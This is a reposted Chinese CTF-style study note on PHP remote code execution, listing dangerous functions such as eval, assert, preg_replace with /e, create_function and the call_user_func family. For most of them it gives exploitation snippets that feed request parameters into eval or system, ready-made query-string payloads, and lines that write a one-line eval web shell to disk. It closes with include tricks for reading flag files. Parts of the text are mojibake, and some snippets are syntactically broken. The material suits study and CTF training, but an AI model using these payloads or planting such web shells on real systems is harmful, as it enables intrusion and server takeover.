IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> Web1 命令执行 -> 正文阅读

[开发测试]Web1 命令执行

一.rce中常用的PHP代码执行函数

eval() , assert() , preg_replace() , create_function() , array_map() , call_user_func()/call_user_func_array() , array_filter() , usort()/uasort() , file_put_contents()

1.eval

执??个字符串表达式,该字符串必须是合法的 PHP 代码,且必须以 分号 结尾

https://www.cnblogs.com/linuxnotes/p/3466756.html

使用方式:?
一.
<?php
$a = 199;
eval("echo\$a;"); #输出:199
?>

 //例子
<?php
$str = "array('a'=>'123','b'=>'456')";
eval("\$arr= ".$str.";");
var_dump($arr);
<!--输出:array(2) { ["a"]=> string(3) "123" ["b"]=> string(3) "456" }
-->

//
<?php
$a = $_GET['a'];
eval($a);
//a = eval($_GET['1']);&1=phpinfo();
?>
二.
<?php
eval($_POST['a']);
?>
//如果想在a中再放一个可以任意控制的参数绕过正则检测
不能直接令a=$_POST[1]
尝试:
a = system($_POST[1]); //1可以执行一些系统命令
//例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>
<!--输出:This is a $string $time morning!
This is a beautiful winter morning! -->

2.assert

assert 函数 是直接将传?的参数当成 PHP代码 直接,不需要以分号结尾,加上也可以。

说明:

1.PHP 5

? ?assert(mixed $assertion, string $description = ?): bool

2.PHP 7

? ?assert(mixed $assertion, Throwable $exception = ?): bool

3.如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

断言:https://www.php.net/manual/zh/regexp.reference.assertions.php

3.preg_replace()

preg_replace(

string|array $pattern,

string|array $replacement,

string|array $subject,

int $limit = -1,

int &$count = null

): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进?替换。 preg_replace() 函数原本是执行一个正则表达式的搜索和替换,但因为存在危险 的 /e修饰符,使 preg_replace 将 replacement 参数当作 PHP 代码。

利用方式:
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

4.create_function()

通过传递的参数创建?个匿名函数,并且返回函数的?个名字。

create_function(string $args, string $code): string

第一个参数是函数接受的参数,第二个参数是函数的执行体

?

?警告:此函数在内部执行eval(),因此具有与eval()相同的安全问题。?此外,它具有较差的性能和内存使用特性。 ?

如果您使用的是PHP 5.3.0或更新版本,则应该使用本地匿名函数。 ?

利用方式:
$newfunc = create_function('', '$_REQUEST['cmd']');
$newfunc();

5.array_map()

为数组的每个元素应?回调函数

array_map(callable $callback, array $array, array ...$arrays): array

array_map():返回数组,是为 array 每个元素应? callback 函数(回调函数)之后的数 组。 array_map() 返回?个 array,数组内容为 array1 的元素按索引顺序为参数调 ? callback 后的结果(有更多数组时,还会传? arrays 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。

利用方式
<?php
//func = system
$func = $_GET['func'];
//cmd = ls
$cmd=$_GET['cmd'];
$array[0] = $cmd
$new_array = array_map($func,$array); //返回执行结果后的新数组
//print_r($new_array);
?>

6.call_user_func()/call_user_func_array()

(1)call_user_func() :把第?个参数作为回调函数调?

call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

第?个参数是被调?的回调函数,后?的参数是函数的形参

?返回值:返回回调函数的返回值。

利用方式
<?php
$cmd=$_REQUEST['cmd'];
//cmd = phpinfo()
call_user_func(assert,$cmd);
?>

(2)call_user_func_array() :调?回调函数,并把?个数组参数作为回 调函数的参数

??call_user_func_array(callable $callback, array $param_arr): mixed

利用方式:
<?php
$func = $_REQUEST['func'];
$cmd = $_REQUEST['cmd'];
$array['0'] = $cmd
$result = call_user_func_array($func,$cmd);
//print_r($result);
?>

?7.array_filter()

使?回调函数过滤数组的元素

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true ,则将 array 数组中的当前值返回到结果 array 数组中。

利用方式:
<?php
$func = $_GET['func'];
$cmd = $_GET['cmd'];
$array1=array($cmd);
array_filter($array1,$func)
?>

8.usort()/uasort()

使??户?定义的?较函数对数组中的值进?排序

usort(array &$array, callable $callback): bool

本函数将??户?定义的?较函数对?个数组中的值进?排序。 如果要排序的数组需要用?种不寻常的标准进?排序,那么应该使?此函数。

1.php环境>=5.6才能用

<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
2.php环境>=<5.6才能用

<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

https://www.wd0g.com/?p=190

9.file_put_contents()/fputs()

将?个字符串写??件

file_put_contents(

string $filename,

mixed $data,

int $flags = 0,

resource $context = ?

): int

利用方式:
1.file_put_contents
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test.php',$test);
?>

2.fputs
<?php
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>')
?>

10.动态函数构造

利用方式:
<?php
a=assert&b=system('ls')
$_GET['a']($_GET['b']);
?>

二.rce(远程代码执行)中常用的包含文件函数

1.include

当包含 .php ?件时,可同时运?。

利??式:

include('flag.php');

或者 include 'flag.php';

姿势绕过

include $_GET[1]?>&1=flag.php

2.highlight_file

语法?亮?个?件,即将?件内容全部展示出来。

highlight_file(string $filename, bool $return = false): mixed

这个函数被ban掉的可能性较?,可以尝试?亮 flag ?件

利??式:highlight_file 'flag.php'

3.show_source

highlight_file 的别名

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-01-24 11:12:52  更:2022-01-24 11:13:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 4:21:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码